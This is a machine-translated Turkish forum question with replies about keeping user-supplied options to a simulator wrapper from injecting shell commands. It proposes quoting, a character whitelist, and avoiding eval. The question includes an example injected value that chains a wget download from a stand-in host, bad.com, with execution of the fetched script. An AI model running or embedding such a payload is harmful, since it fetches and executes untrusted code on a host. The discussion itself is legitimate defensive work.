Ben kullanıcı bir simülatör geçmek için özel seçenekleri belirtmek için izin gereken bir sarıcı uygulaması var. Ancak, kullanıcının kullanıcı seçenekleri aracılığıyla diğer komutları enjekte etmediğinden emin olmak istiyorum. Bunu başarmanın en iyi yolu nedir?
Örneğin.
- Kullanıcı şunları sağlar:
-a -b
- Uygulama yürütür:
mysim --preset_opt -a -b
Ancak bunun olmasını istemiyorum:
- Kullanıcı şunları sağlar:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Uygulama yürütür:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
Şu anda, her kullanıcı tarafından sağlanan seçeneği tek tırnaklarla çevreleyebileceğimi '
ve kullanıcı tarafından sağlanan tek tırnakları çıkarabileceğimi düşünüyorum , böylece son örnekteki komut zararsız olacak:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Not: mysim
Komut, docker / lxc kapsayıcısındaki bir kabuk komut dosyasının parçası olarak yürütülür. Ubuntu kullanıyorum.
eval
. mysim
Bir kabuk betiğinin içindeki yürütülebilir dosyayı arıyorum . Ben sadece kullanıcının sağladığı seçenekler dizesini kopyalamak ve mysim
komutun sonuna yapıştırmak eğer enjeksiyon olduğunu görüyorum .
-a -b
. Bu nedenle, bu dizeye ek komutlar eklenmediğinden emin olmak istiyorum.
[a-zA-Z0-9 _-]
oldukça savunmacı bir seçim gibi görünüyor.
eval
Uygulamayı çalıştırmak için mi kullanıyorsunuz ? Değilse, enjeksiyon olmamalıdır:x="&& echo Doomed" ; echo $x